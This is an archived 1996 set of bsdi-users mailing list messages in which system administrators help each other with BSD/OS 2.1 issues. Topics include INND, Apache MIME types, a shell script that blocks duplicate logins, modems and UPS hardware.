RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["295" "" "28" "November" "1996" "19:45:48" "GMT" "Richard Drage" "richard@proweb.net" nil "15" "Re: INND blocking of newsgroups" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA10776 for ; Thu, 28 Nov 1996 20:38:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA27802 for bsdi-users-outgoing; Thu, 28 Nov 1996 20:34:08 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!cpk-news-hub1.bbnplanet.com!news.bbnplanet.com!cam-news-hub1.bbnplanet.com!news.idt.net!enews.sgi.com!ix.netcom.com!netcom.net.uk!xara.net!emerald.xara.net!Aladdin!proweb!usenet Newsgroups: info.bsdi.users Organization: Proweb (UK) Ltd Lines: 14 Message-ID: <01bbdd64$eb08a120$0a8eb0c2@Richard.Proweb> References: <199611261832.LAA01974@doctor.nl2k.edmonton.ab.ca> NNTP-Posting-Host: red.proweb.net X-Newsreader: Microsoft Internet News 4.70.1155 Precedence: bulk From: "Richard Drage" Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Re: INND blocking of newsgroups Date: 28 Nov 1996 19:45:48 GMT remove them from the active file or use ctlinnd rmgoup Try man ctlinnd for more inf The Doctor wrote in article <199611261832.LAA01974@doctor.nl2k.edmonton.ab.ca>... > Question: > > how can one block incoming groups that one does NOT want? > > From VM Sun Dec 1 18:02:35 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["228" "" "28" "November" "1996" "19:42:23" "GMT" "Richard Drage" "richard@proweb.net" nil "13" "Re: netstart entries revisited" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA10781 for ; Thu, 28 Nov 1996 20:38:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA27817 for bsdi-users-outgoing; Thu, 28 Nov 1996 20:35:10 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!news.webspan.net!ix.netcom.com!netcom.net.uk!xara.net!emerald.xara.net!Aladdin!proweb!usenet Newsgroups: info.bsdi.users Organization: Proweb (UK) Ltd Lines: 12 Message-ID: <01bbdd64$70b07060$0a8eb0c2@Richard.Proweb> References: NNTP-Posting-Host: red.proweb.net X-Newsreader: Microsoft Internet News 4.70.1155 Precedence: bulk From: "Richard Drage" Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Re: netstart entries revisited Date: 28 Nov 1996 19:42:23 GMT I'm using ne0 for around 40 domans and its fine ... think it mentions it in the manual Richard > As far as I know, you are doing it the correct way. You configure virtual > hosts as aliases to ne0 not lo0. > > Amy :) > > From VM Sun Dec 1 18:02:35 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2396" "" "28" "November" "1996" "19:36:34" "GMT" "Richard Drage" "richard@proweb.net" nil "95" "Re: Double Logins" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA10787 for ; Thu, 28 Nov 1996 20:39:23 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA27808 for bsdi-users-outgoing; Thu, 28 Nov 1996 20:34:58 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!cpk-news-hub1.bbnplanet.com!news.bbnplanet.com!cam-news-hub1.bbnplanet.com!news.idt.net!enews.sgi.com!ix.netcom.com!netcom.net.uk!xara.net!emerald.xara.net!Aladdin!proweb!usenet Newsgroups: info.bsdi.users Organization: Proweb (UK) Ltd Lines: 95 Message-ID: <01bbdd63$a0682060$0a8eb0c2@Richard.Proweb> References: <3.0.32.19961127205059.006b5a70@pop.comptec.com> NNTP-Posting-Host: red.proweb.net X-Newsreader: Microsoft Internet News 4.70.1155 Precedence: bulk From: "Richard Drage" Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Re: Double Logins Date: 28 Nov 1996 19:36:34 GMT Under 2.1, you can assign a additional login authorisation scripts in /etc/login.conf: ------------- login.conf ------------- :approve=/usr/libexec/login_app ------------- login_app ------------- #!/bin/sh ############################################################ ########## # Multiple Login Check - R.Drage 01/05/96 v1.0 # # # # called by: /etc/login.conf (:approve=/usr/libexec/login_approve) # # # ############################################################ ########## # # Do a who piped to grep for username + " " (whitespace for exact match) # if not found, exit status 0 (login accepted) # if found, exit status 100 (login denied) # PATH=/sbin:/usr/sbin:/bin:/usr/bin check=`who|grep "$1 "` if [ "$check" ] ; then tmpfile="/tmp/$1.ad.tmp" echo " ***** SECURITY WARNING *****" echo "" echo "Access Denied - You are already logged in !" echo "" echo "User: Port: Date: Time:" echo "`who|grep "$1 "`" echo "" echo "" echo "Note - Please contact Tech Support" echo " if you wish to change your password." echo "" cp /etc/login_denied $tmpfile echo "Attempt occurred on `date`" >> $tmpfile echo "" >> $tmpfile echo "User: Port: Date: Time:" >> $tmpfile echo "`who|grep "$1 "`" >> $tmpfile # # Send body text and details to user & root, remove tmp file # `cat $tmpfile | /usr/sbin/sendmail $1` # # Mail root # echo "Unapproved multiple login : `date` by : $1" > $tmpfile `cat $tmpfile | /usr/sbin/sendmail root` `rm $tmpfile` # # Return to calling proc with exit not 0 # exit 100 fi exit 0 ---------------------------------------------------- You also need to create a text file (/etc/login_denied) containing a message in which will be mailed to the user with the time and date info appended on the bottom. I used this for about 4 months and it was fine, I've now replaced it with a 'c' equiv which checks 'account held' lists etc.... Hope this helps ... On another note, does anybody have the source code for 'top' as I want to alter it. Regards Richard Drage richard@proweb.net From VM Sun Dec 1 18:02:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1269" "" "28" "November" "1996" "19:38:55" "GMT" "Richard Drage" "richard@proweb.net" nil "48" "Re: INND rejecting every article!" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA10785 for ; Thu, 28 Nov 1996 20:39:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA27796 for bsdi-users-outgoing; Thu, 28 Nov 1996 20:33:55 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!news.webspan.net!ix.netcom.com!netcom.net.uk!xara.net!emerald.xara.net!Aladdin!proweb!usenet Newsgroups: info.bsdi.users Organization: Proweb (UK) Ltd Lines: 47 Message-ID: <01bbdd63$f49496a0$0a8eb0c2@Richard.Proweb> References: NNTP-Posting-Host: red.proweb.net X-Newsreader: Microsoft Internet News 4.70.1155 Precedence: bulk From: "Richard Drage" Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Re: INND rejecting every article! Date: 28 Nov 1996 19:38:55 GMT There is a patch to fix this problem and it cured my news server bad date nightmare : PATCH: U210-002 SUMMARY: This patch fixes a bug in the BSD/OS 2.1 release of the inn programs. A fix that we made between the 2.0 and 2.1 releases introduced a bug that caused innd to incorrectly parse dates. The symptom is that inn programs fail with "437 Bad "Date" header" in the /var/log/news/news file, or that Pnews will fail with "441 Can't parse "Date" header" messages. Mike Cheng wrote in article ... > > I've just finished upgrading my news server to BSDI 2.1 with the latest > patches and hell broke loose! > > My server accepts feed from my provider but rejects 99% of the incoming > articles. The logfile shows error #437 "Bad Date". My users can connect > but can not post (same error). The strange thing is, I've not made any > changes to my config files. > > Has anyone seem this problem before? > > > Michael M.F. Cheng email : mcheng@intergate.bc.ca > Systems Administrator office: 1.604.654.6088 > Internet Gateway Corporation > Vancouver, British Columbia > Canada > > From VM Sun Dec 1 18:02:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["731" "Thu" "28" "November" "1996" "17:44:29" "-0500" "David Morrison" "speed@salamander.com" nil "18" "Re: Improving performance of processes that use passwd." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA10793 for ; Thu, 28 Nov 1996 20:39:56 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA27823 for bsdi-users-outgoing; Thu, 28 Nov 1996 20:35:31 -0500 (EST) Message-Id: <3.0.32.19961128174426.00ab0018@eniac.salamander.com> X-Sender: speed@eniac.salamander.com X-Mailer: Windows Eudora Pro Version 3.0 Demo (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: David Morrison Sender: owner-bsdi-users@lists.gateway.com To: "BSDI Mail" , "bsdi-users@BSDI.COM" , "Raymond Richmond" Subject: Re: Improving performance of processes that use passwd. Date: Thu, 28 Nov 1996 17:44:29 -0500 At 04:12 PM 11/28/96, BSDI Mail wrote: >>I feel that this is too long and that it should be possible to re-allocate >>resources to process this faster. >I think using a pentium 150 or 166 would greatly speed you up, or even a dual >pentium 100... BSDI 2.x doesn't support SMP (multiple processors). =dm= --------------------------------------------------------------------- David Morrison | http://www.salamander.com/~speed/ <--------| speed@salamander.com | http://www.salamander.com/bike.html <--------| System Administrator |--> Member Matt's Script Archive Help Team | Salamander.Com |--> see http://www.worldwidemart.com/scripts/ | --------------------------------------------------------------------- From VM Sun Dec 1 18:02:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1194" "Thu" "28" "November" "1996" "20:31:16" "" "Barry Hemphill" "ubu@easynet.on.ca" nil "31" "Re: Usernames with a . in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA10797 for ; Thu, 28 Nov 1996 20:40:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA27854 for bsdi-users-outgoing; Thu, 28 Nov 1996 20:37:17 -0500 (EST) Message-Id: <199611290136.UAA17728@puppy.easynet.on.ca> Comments: Authenticated sender is Organization: EasyNet Inc MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-mailer: Pegasus Mail for Win32 (v2.42a) Precedence: bulk From: "Barry Hemphill" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM CC: "Y.F.SysAdmin" Subject: Re: Usernames with a . in them Date: Thu, 28 Nov 1996 20:31:16 +5 On 28 Nov 96 at 16:27, Y.F.SysAdmin wrote: > > >Does anyone know how can I add a user name with a . in it, eg > > >dave.macrae > > > > Use an alias in /etc/aliases pointing to > > a regular name. > > Or allow a dot in adduser... > From the man pages for passwd (5): The login name must never begin with a hyphen (``-''); also, it is strongly suggested that neither upper-case characters or dots (``.'') be part of the name, as this tends to confuse mailers. Whether this is still an issue today I couldn't tell you, but none of my users have dots in their logins. If anyone knows more on the topic, I'd certainly be interested to hear - I hate when I do something without clearly understanding the reasoning behind it, and I suspect others on the list might be interested as well. Barry Barry Hemphill EasyNet Inc. System Administrator Cambridge, Ontario, Canada ubu@easynet.on.ca (519)654-9999 fax(519)654-0301 The typical Nintendo game involves controlling a little man running around a maze while numerous powerful and inexplicably hostile forces try to destroy him. In other words, it's exactly like real life. -- Dave Barry From VM Sun Dec 1 18:02:37 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2163" "Thu" "28" "November" "1996" "18:47:59" "-0700" "Raymond Richmond" "richmond@cronus.oanet.com" nil "54" "Re: Improving performance of processes that use passwd." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA11072 for ; Thu, 28 Nov 1996 20:52:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA27917 for bsdi-users-outgoing; Thu, 28 Nov 1996 20:48:20 -0500 (EST) In-Reply-To: <199611290026.TAA12332@home.pcrealm.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Raymond Richmond Sender: owner-bsdi-users@lists.gateway.com To: Greg Wiktor - System Administrator cc: "bsdi-users@BSDI.COM" , David Morrison Subject: Re: Improving performance of processes that use passwd. Date: Thu, 28 Nov 1996 18:47:59 -0700 (MST) I re-iterate my message. I want to tweak settings rather than brute force it. Increasing system while never working on configuration makes for a real PIG of a system. On Thu, 28 Nov 1996, Greg Wiktor - System Administrator wrote: > I know, I wonder if BSDI 3.x will, since I do have a dual I would like to use for BSDI... > > > On Thu, 28 Nov 1996 17:44:29 -0500, David Morrison wrote: > > >At 04:12 PM 11/28/96, BSDI Mail wrote: > >>>I feel that this is too long and that it should be possible to re-allocate > >>>resources to process this faster. > > > >>I think using a pentium 150 or 166 would greatly speed you up, or even a > >dual >pentium 100... > > > >BSDI 2.x doesn't support SMP (multiple processors). > > > >=dm= > > > >--------------------------------------------------------------------- > >David Morrison | http://www.salamander.com/~speed/ <--------| > >speed@salamander.com | http://www.salamander.com/bike.html <--------| > >System Administrator |--> Member Matt's Script Archive Help Team | > >Salamander.Com |--> see http://www.worldwidemart.com/scripts/ | > >--------------------------------------------------------------------- > > > > Greg Wiktor Senior System Administrator > _____________________________________________________________________ > Advantech Internet Services (WWW.PCREALM.NET) > 60 Welcher Avenue > Peekskill, NY 10566 > Tel: 914-736-7300 Fax: 914-736-7024 > E-Mail: > SYSADMIN@PCREALM.NET > ______________________________________________________________________ > -IBM BesTeam Member, TeamOS2 Member, IBM Corp. Reseller, Intel Reseller- > -- __^__ __^__ ( ___ )------------------------------------------------------( ___ ) | / |---Raymond Richmond----------------------(403)430-0811 -| \ | | / |---------OA Internet---------Network Operations---------| \ | |_*_| |_*_| (_____)----------------richmond@oanet.com--------------------(_____) From VM Sun Dec 1 18:02:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2914" "Thu" "28" "November" "1996" "20:47:52" "" "Greg Wiktor" "internex@pcrealm.net" nil "72" "Re: Improving performance of processes that use passwd." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA11074 for ; Thu, 28 Nov 1996 20:52:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA27923 for bsdi-users-outgoing; Thu, 28 Nov 1996 20:49:38 -0500 (EST) Message-Id: <199611290149.UAA12854@home.pcrealm.net> Reply-To: "Greg Wiktor - System Administrator " X-Mailer: Greg Wiktor's Registered PMMail 1.53 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: "Greg Wiktor - System Administrator " Sender: owner-bsdi-users@lists.gateway.com To: "Greg Wiktor - System Administrator" , "Raymond Richmond" Cc: "bsdi-users@BSDI.COM" , "David Morrison" Subject: Re: Improving performance of processes that use passwd. Date: Thu, 28 Nov 96 20:47:52 True, but you are dealing with 5000 users, I'd think a p-166 would better handle that On Thu, 28 Nov 1996 18:47:59 -0700 (MST), Raymond Richmond wrote: >I re-iterate my message. >I want to tweak settings rather than brute force it. >Increasing system while never working on configuration makes for >a real PIG of a system. > > >On Thu, 28 Nov 1996, Greg Wiktor - System Administrator wrote: > >> I know, I wonder if BSDI 3.x will, since I do have a dual I would like to use for BSDI... >> >> >> On Thu, 28 Nov 1996 17:44:29 -0500, David Morrison wrote: >> >> >At 04:12 PM 11/28/96, BSDI Mail wrote: >> >>>I feel that this is too long and that it should be possible to re-allocate >> >>>resources to process this faster. >> > >> >>I think using a pentium 150 or 166 would greatly speed you up, or even a >> >dual >pentium 100... >> > >> >BSDI 2.x doesn't support SMP (multiple processors). >> > >> >=dm= >> > >> >--------------------------------------------------------------------- >> >David Morrison | http://www.salamander.com/~speed/ <--------| >> >speed@salamander.com | http://www.salamander.com/bike.html <--------| >> >System Administrator |--> Member Matt's Script Archive Help Team | >> >Salamander.Com |--> see http://www.worldwidemart.com/scripts/ | >> >--------------------------------------------------------------------- >> > >> >> Greg Wiktor Senior System Administrator >> _____________________________________________________________________ >> Advantech Internet Services (WWW.PCREALM.NET) >> 60 Welcher Avenue >> Peekskill, NY 10566 >> Tel: 914-736-7300 Fax: 914-736-7024 >> E-Mail: >> SYSADMIN@PCREALM.NET >> ______________________________________________________________________ >> -IBM BesTeam Member, TeamOS2 Member, IBM Corp. Reseller, Intel Reseller- >> > >-- > > __^__ __^__ >( ___ )------------------------------------------------------( ___ ) > | / |---Raymond Richmond----------------------(403)430-0811 -| \ | > | / |---------OA Internet---------Network Operations---------| \ | > |_*_| |_*_| >(_____)----------------richmond@oanet.com--------------------(_____) > > Greg Wiktor Senior System Administrator _____________________________________________________________________ Advantech Internet Services (WWW.PCREALM.NET) 60 Welcher Avenue Peekskill, NY 10566 Tel: 914-736-7300 Fax: 914-736-7024 E-Mail: SYSADMIN@PCREALM.NET ______________________________________________________________________ -IBM BesTeam Member, TeamOS2 Member, IBM Corp. Reseller, Intel Reseller- From VM Sun Dec 1 18:02:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["474" "Fri" "29" "November" "1996" "00:18:50" "-0200" "JOAO HENRIQUE BERGAMASCO" "jhbergamasco@netco.com.br" nil "20" "Script passwd for CGI ???" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA11882 for ; Thu, 28 Nov 1996 21:27:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id VAA27959 for bsdi-users-outgoing; Thu, 28 Nov 1996 21:18:10 -0500 (EST) Message-Id: <1.5.4.32.19961129021850.00b871b8@mail.netco.com.br> X-Sender: jhbergamasco@mail.netco.com.br X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Precedence: bulk From: JOAO HENRIQUE BERGAMASCO Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Script passwd for CGI ??? Date: Fri, 29 Nov 1996 00:18:50 -0200 Hi folks! I have been looking for a Script CGI for change a=20 customer password through html page and web apache. Thank you very much for your help. Joao Bergamasco, NetCo. ------------------------------------------ NetCo. Tecnologia de Informa=E7=E3o Ltda. http://www.netco.com.br Internet/Intranet Provider Jo=E3o Henrique Bergamasco, Master CNE E-Mail: jhb@netco.com.br Florian=F3polis - SC - Brazil Fone/Fax +55(48)224-4140 From VM Sun Dec 1 18:02:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1698" "Thu" "28" "November" "1996" "21:22:26" "" "Barry Hemphill" "ubu@easynet.on.ca" nil "38" "Re: Apache not serving JPG's" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA11887 for ; Thu, 28 Nov 1996 21:27:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id VAA27973 for bsdi-users-outgoing; Thu, 28 Nov 1996 21:28:24 -0500 (EST) Message-Id: <199611290228.VAA19763@puppy.easynet.on.ca> Comments: Authenticated sender is Organization: EasyNet Inc MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-mailer: Pegasus Mail for Win32 (v2.42a) Precedence: bulk From: "Barry Hemphill" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM CC: Jeff Campbell Subject: Re: Apache not serving JPG's Date: Thu, 28 Nov 1996 21:22:26 +5 On 28 Nov 96 at 15:54, Jeff Campbell wrote: > I just converted the NT server at work here to BSDI 2.1 and > much to my dismay have discovered that Apache does not serve JPEG's > ouyt of the box. I have a number of them in a directory and only > the .GIF and .XBMs are showing up in the browser. All permissions > are the same. > > In which file do I specify that it should also serve .jpg files? The file you want to look at is mime.types - it's usually in a directory called conf, in the apache server directory. I'm not sure about the Apache that comes with BSDI 2.1 out of the box, but every Apache distribution I've seen serves .jpg types without modification. From my mime.types file: image/jpeg jpeg jpg jpe My best guess: check the case on the filenames. If the file is called FOO.JPG or foo.JPG, and your html file has it listed as foo.jpg, it won't find the file. The BSDI filesystem is quite case sensitive - can't say for sure about NT. It's worth a look, anyway. Hope this helps, Barry Barry Hemphill EasyNet Inc. System Administrator Cambridge, Ontario, Canada ubu@easynet.on.ca (519)654-9999 fax(519)654-0301 Here is a simple experiment that will teach you an important electrical lesson: On a cool, dry day, scuff your feet along a carpet, then reach your hand into a friend's mouth and touch one of his dental fillings. Did you notice how your friend twitched violently and cried out in pain? This teaches us that electricity can be a very powerful force, but we must never use it to hurt others unless we need to learn an important electrical lesson. -- Dave Barry, "What is Electricity?" From VM Sun Dec 1 18:02:40 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3030" "Thu" "28" "November" "1996" "22:03:56" "-0500" "Douglas Sand" "dsand@cyberzone-inc.com" nil "113" "Re: Double Logins" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA13221 for ; Thu, 28 Nov 1996 22:14:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA28039 for bsdi-users-outgoing; Thu, 28 Nov 1996 22:07:39 -0500 (EST) Message-Id: <1.5.4.32.19961129030356.006c28a4@main.cyberzone-inc.com> X-Sender: dsand@main.cyberzone-inc.com X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Douglas Sand Sender: owner-bsdi-users@lists.gateway.com To: "Richard Drage" Cc: bsdi-users@lists.gateway.com Subject: Re: Double Logins Date: Thu, 28 Nov 1996 22:03:56 -0500 Richard, This is great except when we perform a who or finger we do NOT get a listing of users in via modem unless they use telnet or ftp into our server...which we do NOT allow! Doug At 07:36 PM 11/28/96 GMT, you wrote: >Under 2.1, you can assign a additional login authorisation >scripts >in /etc/login.conf: > >------------- login.conf ------------- > > :approve=/usr/libexec/login_app > >------------- login_app ------------- > >#!/bin/sh >############################################################ >########## ># Multiple Login Check - R.Drage 01/05/96 v1.0 > # ># > # ># called by: /etc/login.conf >(:approve=/usr/libexec/login_approve) # ># > # >############################################################ >########## ># ># Do a who piped to grep for username + " " (whitespace for >exact match) ># if not found, exit status 0 (login accepted) ># if found, exit status 100 (login denied) ># > >PATH=/sbin:/usr/sbin:/bin:/usr/bin >check=`who|grep "$1 "` >if [ "$check" ] ; then > tmpfile="/tmp/$1.ad.tmp" > echo " ***** SECURITY WARNING *****" > echo "" > echo "Access Denied - You are already logged in !" > echo "" > echo "User: Port: Date: Time:" > echo "`who|grep "$1 "`" > echo "" > echo "" > echo "Note - Please contact Tech Support" > echo " if you wish to change your password." > echo "" > cp /etc/login_denied $tmpfile > echo "Attempt occurred on `date`" >> $tmpfile > echo "" >> $tmpfile > echo "User: Port: Date: Time:" >> >$tmpfile > echo "`who|grep "$1 "`" >> $tmpfile ># ># Send body text and details to user & root, remove tmp >file ># > `cat $tmpfile | /usr/sbin/sendmail $1` ># ># Mail root ># > echo "Unapproved multiple login : `date` by : $1" > >$tmpfile > `cat $tmpfile | /usr/sbin/sendmail root` > `rm $tmpfile` ># ># Return to calling proc with exit not 0 ># > exit 100 >fi >exit 0 > >---------------------------------------------------- >You also need to create a text file (/etc/login_denied) >containing >a message in which will be mailed to the user with the time >and date >info appended on the bottom. > >I used this for about 4 months and it was fine, I've now >replaced it with a >'c' equiv which checks 'account held' lists etc.... > >Hope this helps ... > >On another note, does anybody have the source code for >'top' as I >want to alter it. > >Regards > >Richard Drage > >richard@proweb.net > > > > //========================++===============================\\ || Douglas Sand || dsand@cyberzone-inc.com || || CyberZone, Inc. || http://www.cyberzone-inc.com || || Ann Arbor, Michigan || (313) 668-2060 || \\========================++===============================// From VM Sun Dec 1 18:02:40 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1258" "Thu" "28" "November" "1996" "21:14:26" "-0600" "Marc Wiz" "marc@frshaire.wiz.com" nil "33" "Re: BSDI/APC Back-UPS" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA13226 for ; Thu, 28 Nov 1996 22:15:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA28104 for bsdi-users-outgoing; Thu, 28 Nov 1996 22:15:57 -0500 (EST) Message-Id: <199611290314.VAA13411@frshaire.wiz.com> In-Reply-To: from "Gail A. Harless" at Nov 28, 96 02:01:32 pm X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Marc Wiz Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: BSDI/APC Back-UPS Date: Thu, 28 Nov 1996 21:14:26 -0600 (CST) > > I just purchased an APC Back-UPS Model 600 only to find out that there is > no software available from APC to interface with my BSDI on my server. In > addition, I cannot find a cable to connect the baackup unit with the > server. Should I send the unit back or is there a way around this > problem? Does anyone know of another battery backkup that comes with > software to interface with BSDI? Does anyone know of a cable? Has anyone > written software to connect the APC unit with their BSDI server? I need > advice ASAP because we are just starting to sign up customers. > > Regards, > Tim Harless > While there is no software for BSDI I did talk quite some time ago to APC about my BK-900. The AC power failure signal is RS-232 compatible but I was told the one minute battery warning signal was not. The signal to tell the UPS to turn itself off was also RS-232 compatiable. There has been talk on the list about simple programs that look for a open to complete on a tty port that the UPS is hooked up to. What I want is a schematic to convert the one minute battery warning signal into a RS-232 signal. (Dammit Jim I'm a software engineer not a hardware person :-) Marc -- Marc Wiz marc@wiz.com Yes, that really is my last name. From VM Sun Dec 1 18:02:41 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1679" "Thu" "28" "November" "1996" "22:09:17" "" "Barry Hemphill" "ubu@easynet.on.ca" nil "39" "Re: Digiboard Problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA13233 for ; Thu, 28 Nov 1996 22:18:55 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA28092 for bsdi-users-outgoing; Thu, 28 Nov 1996 22:15:46 -0500 (EST) Message-Id: <199611290314.WAA21314@puppy.easynet.on.ca> Comments: Authenticated sender is Organization: EasyNet Inc MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-mailer: Pegasus Mail for Win32 (v2.42a) Precedence: bulk From: "Barry Hemphill" Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson CC: bsdi-users@BSDI.COM Subject: Re: Digiboard Problems Date: Thu, 28 Nov 1996 22:09:17 +5 On 27 Nov 96 at 11:05, Chris McGlasson wrote: > I currently have a digiboard 16/EM, 33.6 USR Modems, and using bsdi > 2.1 OS. > > I was wondering if anyone has experience a steady transmit and > receive light after the getty starts the tty process. It's almost > as if the digi board is sending a signal to the modem. I can't seem > to figure this one out. I had exactly this problem, but not until I added a 4th module and had to add an external power supply. After I'd had the system up for about 25 minutes, all the idle modems on the 3rd and 4th modules went exactly as you describe (steady RX and TX lights). The problem? The power supply was blown. I replaced it (actually twice) and the problem was no more. I don't know if this is your problem but the description is pretty similar. > Does this sound like a digi problem or a modem incompatiblity > problem? Almost certainly a digi problem, but if you're not positive, find another brand of external modem and plug it in. I had GVC and Motorola modems when the problem struck, personally. Hope this helps, Barry Barry Hemphill EasyNet Inc. System Administrator Cambridge, Ontario, Canada ubu@easynet.on.ca (519)654-9999 fax(519)654-0301 As you know, birds do not have sexual organs because they would interfere with flight. [In fact, this was the big breakthrough for the Wright Brothers. They were watching birds one day, trying to figure out how to get their crude machine to fly, when suddenly it dawned on Wilbur. "Orville," he said, "all we have to do is remove the sexual organs!" You should have seen their original design.] -- Dave Barry From VM Sun Dec 1 18:02:41 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["277" "Fri" "29" "November" "1996" "14:01:38" "+1030" "David Newall" "davidn@rebel.net.au" nil "8" "Dual CPU (Was: Improving performance of processes that use passwd.)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA13768 for ; Thu, 28 Nov 1996 22:34:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA28147 for bsdi-users-outgoing; Thu, 28 Nov 1996 22:32:20 -0500 (EST) Message-Id: <199611290331.OAA10254@rebel.net.au> In-Reply-To: <199611290026.TAA12332@home.pcrealm.net> from "Greg Wiktor - System Administrator" at Nov 28, 96 07:24:57 pm Content-Type: text Precedence: bulk From: David Newall Sender: owner-bsdi-users@lists.gateway.com To: 